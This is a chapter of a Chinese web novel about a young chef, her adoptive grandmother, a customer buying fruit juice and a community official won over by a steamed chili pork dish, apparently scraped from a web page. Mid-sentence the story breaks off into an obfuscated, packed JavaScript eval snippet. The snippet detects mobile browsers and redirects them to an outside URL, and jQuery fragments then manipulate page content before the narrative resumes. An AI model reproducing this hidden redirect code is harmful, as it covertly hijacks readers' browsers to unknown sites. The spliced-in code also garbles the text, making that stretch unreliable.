12. 渣辣椒蒸肉

作品:《满级厨神的小饭馆[美食]

    察觉到云漪的视线,女人有些困惑:“我脸上有东西么?”


    云漪连忙给她略显突兀的行为找了个台阶:“抱歉,只是姥姥跟我说你想买余甘子榨汁,我有些好奇是怎么有这种想法的。”


    周胜男挪动目光,落到了她们背后的云记小饭馆招牌上。


    原来是餐饮从业者来打听商机了。


    周胜男无奈摇头:“昨天看我儿子的朋友圈,说这东西榨汁好喝。我最近忙,都没怎么陪他,就想着做点他喜欢的东西。谁知道差点被骗,多亏你姥姥。”


    “姥姥就这样,见不得别人讹钱,这果子她都只卖五块钱不到。”


    五块钱不到?!


    敢情刚刚那人险些含泪赚她三十五!


    周胜男把一袋子油柑放到后座,看了眼手表,也到午饭点了。


    她指着云记小饭馆问:“这是你们开的店吧,能外带不?”


    “当然能。”


    “那我点几个菜带走,水果钱也一起算。”


    说完,周胜男停好车走进店里。


    店里没什么人,倒是格外凉爽干净。


    周胜男对食物的要求和旁人不太一样,比起美味,她更在意食材的绿色健康。


    平时在家,即便工作繁忙,她也一直是自己买菜,再请阿姨上门准备一日三餐,更不准丈夫儿子吃那些世俗意义上的垃圾食品。


    就算要吃外面的食物,也必须是干净卫生的明厨堂食店才行。


    这几天她在外地出差,做饭阿姨也有事请假,只能让儿子老老实实吃食堂。


    今天终于回家了,她也没时间临时找别的做饭阿姨,眼瞅着这家店还算亮堂,索性点几个菜拿回家吃得了。


    再说了,这老人好心帮了自己,照顾一下生意也没什么。


    刚一坐下,春华就给她接了一杯白玉油柑。


    周胜男抿了一口,立刻喝出这就是余甘子的味道。


    奇了怪了,这油柑汁怎么突然就火起来了,儿子喜欢就算了,连街边随手一家餐馆也卖?


    不过……真好喝。


    难怪她儿子那个臭小子突然爱上了油柑汁。


    也是一件好事,那家伙也不知道跟谁学的,小小年纪就开始喝咖啡,她教训了好多次都无果。现在这小子突然摈弃咖啡爱上了鲜榨的果汁,也算是一点小小的进步。


    她又尝了一口,能喝出来这果汁里没加什么糖精香精,半杯下肚丝毫不糊嘴。


    看来,这家店用料应该还算绿色。


    周胜男点了六个菜,两道她中午自个儿吃,四道留到晚上和丈夫儿子一起吃。


    过了一会儿,云漪把她要的菜打包好。


    她指着其中一袋说:“刚刚听你说要留到晚饭吃,我就没有蒸太过。晚上热的时候你把菜移到盘子里,上汽再蒸五分钟就够了,能稍稍保留一些口感,不至于太耙。”


    只短短几句话,周胜男对这家店的观感又好了一分。


    这年头,生意做这么细致的老板不多了。


    不过这也是小店才有的待遇,做大做强的网红店到头来服务都会变差,客人多了就顾不上雨露均沾了,也能理解。


    周胜男付了钱,余光瞥见杯中一滴不剩的白玉油柑,突然想起:“对了,你这果汁是直接用余甘子生榨的么?味道挺好。”


    云漪不带一丝保留地又复述了一遍做法,笑着说:“只要水果选得好,其实味道大差不差。具体的用量你可以上网搜一搜,应该会有分享的。”


    周胜男点点头,只当云漪把用量藏着掖着,毕竟做生意的嘛,哪能把秘方倾囊托出。


    晚上去万能的小红书找个比例就是了。


    周胜男走之前,又向春华道了声谢。


    春华摆摆手,怒着一张脸:“这些人就是看你是当妈的心疼儿子,专门骗你的,不怀好意!下次你要是还买,就来店里说一声,我给你留着!”


    陌生的善意最是动人,周胜男只觉得心口软软的。


    她对云漪说:“你们家基因真不错,都是善良细心的好人。”


    小轿车扬长而去,云漪揽着春华的胳膊走回店里,抬抬下巴:“你看,又有人说我们是一家人了,我都说了你是我命中注定的亲姥姥。”


    春华捏捏她的鼻头:“那我是赚了,不用受怀胎十月的苦就有秀珠这么乖的闺女,还有你和小葵这么聪明的孙女。”


    云漪顺势蹭蹭她的掌心,亲昵极了。


    她低头问:“姥姥,你一会儿留下来吃饭吧,我妈也要过来帮忙呢。”


    “我回去煮碗面就是,吃完还要上山呢。”春华眼里染着喜悦,“树上还有好多余甘子,我再摘一批拿去卖,周末给你和小葵买那个什么‘肯定鸡’吃!”


    云漪没有继续劝春华。


    春华从小过得苦,最大的执念就是她手里的那块地。她也没什么大愿望,种点小菜、摘点小果,能吃饱饭就够了。


    春华这个年纪,有点喜欢做的事情不是坏事,云漪没道理拦她。


    大不了,等以后多给她承包几块地,让她开开心心地当大菜农。


    “行,那我们要一整个全家桶!”


    云漪把春华扶上三轮车,推着走过一段平缓的上坡路,目送她离开转角才回到店里。


    快到十二点了,云秀珠和方媛媛正巧也推开门。


    一见到她,方媛媛就忍不住告状:“云漪,快管管你妈吧!”


    云漪心口一紧:“怎么了?”


    “她明明答应我每天好好测血糖,结果今天又只测了个早晨空腹!”方媛媛不顾云秀珠使的眼色,继续告状,“医生建议用动态血糖仪,云阿姨嫌贵,但我觉得为了健康着想不能这么省!”


    云漪难得黑了脸。


    她掏出老旧手机加了方媛媛的微信,转过去一千块。


    “媛媛姐,我对这些不了解,麻烦你明天带我妈去买一点血糖仪。”云漪目光恳切,“多的就当我请你吃饭。”


    转完账,云漪顺手看了一眼余额。


    这两天辛辛苦苦赚的钱,顷刻间就只剩下了一千多。


    花钱也太容易了。


    还是得再接再厉啊。


    方媛媛笑出声:“除了你家的馆子,哪还有我看得上的饭?你放心吧,我说了帮云阿姨就一定帮到位,毕竟这都是我社会实践报告和论文的组成部分啊。”


    云漪松了一口气。


    能遇见方媛媛这么好的志愿者,真的很幸运。


    她连忙拉开两张椅子:“今天要吃什么?我上了几道蒸菜,淡口的,可以尝尝。”


    方媛媛却伸出食指晃了晃:“先别急,人还没齐呢。”


    没多


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958376|193236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会儿,一个短发齐肩的中年女人犹豫着推开门。


    “周主任?”云秀珠讶然,“好久没见了。”


    周丽萍在方媛媛身边坐下,熟络开口:“是啊,上次见你还是……”和罗富闹离婚闹到社区来。


    周丽萍适时闭了嘴。


    “是我邀请周姐来的,我跟她说云记超级无敌巨好吃,好不容易才说动她!”


    周丽萍前几天才笃定认为老一辈的做生意都那样,就算换了个老板也无济于事。


    昨天方媛媛拍着胸脯跟她打赌,她才松了口决定尝一尝。


    今天的点菜全权交给周丽萍,为了保险起见,她点的都是耳熟能详、有手就会的菜,万一厨艺不好,她也勉强能吃几口,不至于太尴尬。


    蒜苗回锅肉、青椒土豆丝、清炒芥兰,还有一道新上的蒸菜。


    方媛媛早早就握紧筷子,等着尝新品了。


    今天她赶在外国语附中放学前,终于不用和那群饿死鬼投胎的高中生抢饭了!


    菜一道道端上来,每一道都出乎周丽萍的意料。


    尤其是这道渣辣椒蒸肉。


    渣辣椒,是德市一种特殊的辣椒做法。用各种香型的辣椒,烫熟后碾成碎末,加入米粉、白酒和调味,封入坛中发酵,时间越长,越是鲜辣入味。


    昨天云漪在柜子里发现了这么一坛云秀珠早早腌制的渣辣椒,简直如获至宝。


    朴素土碗里,赤红的渣辣椒堆成一座火山。红白相间的五花肉漂亮极了,切成寸许的厚片,在红艳艳里半埋半露。


    皮边被煎得金黄,裹上一层红酱油,一整碗暖色调像开了美味滤镜,让人食欲大开。


    周丽萍用筷子轻轻翻动,那座火山便轰然倒塌,发酵辣椒特有的辛香不容分说蔓延开来。


    夹起一块肉,肉片早已酥烂,颤巍巍的。丰腴部分晶莹如冻,瘦肉却丝丝分明,一入口,被火山浸染透彻的咸、辣、酸、鲜层次分明,纷至沓来。牙齿轻轻一合,肥肉便化作一口滚烫丰盈的汁水,没有半分腻味。


    周丽萍只咬了一口,就愣在了原地。


    她上了年纪,平日里也爱吃些耙软好嚼的蒸菜。可外面的蒸菜要么寡淡无味,要么调味重到唇舌发干。


    可云记这碗蒸肉,既能吃出原始的肉香和辣椒香,又不觉单调。


    这么一对比,周丽萍只觉得之前吃过的大大小小的蒸菜都是小孩子过家家。


    她抬头看了一眼,满脸胶原蛋白的云漪穿着围裙,一边往每张桌子上放菜单,一边轻声哼着歌。


    这生意……难不成真得让年轻人来做?


    看见周丽萍吃着吃着愣了神,方媛媛连连拍手,一副胜利者姿态:“周姐,打赌是我赢了,你可不能食言!”


    下周三,市里面有人来长平社区调研,周丽萍正为在哪里请客烦恼。


    鸿宴酒楼太铺张,普通饭馆又太掉价。


    昨天方媛媛提出云记,周丽萍是有那么一瞬间动摇的,毕竟云记是长平最老资格的饭馆,也符合市里那群人的调调。


    可云记的味道……


    任方媛媛怎么说破嘴皮,她也不肯相信一家饭馆能一夜之间咸鱼翻身改邪归正。于是二人便打赌,只要有一道菜不能满足周丽萍,方媛媛接下来加班一周;反之,就定下云记。


    周丽萍愿赌服输。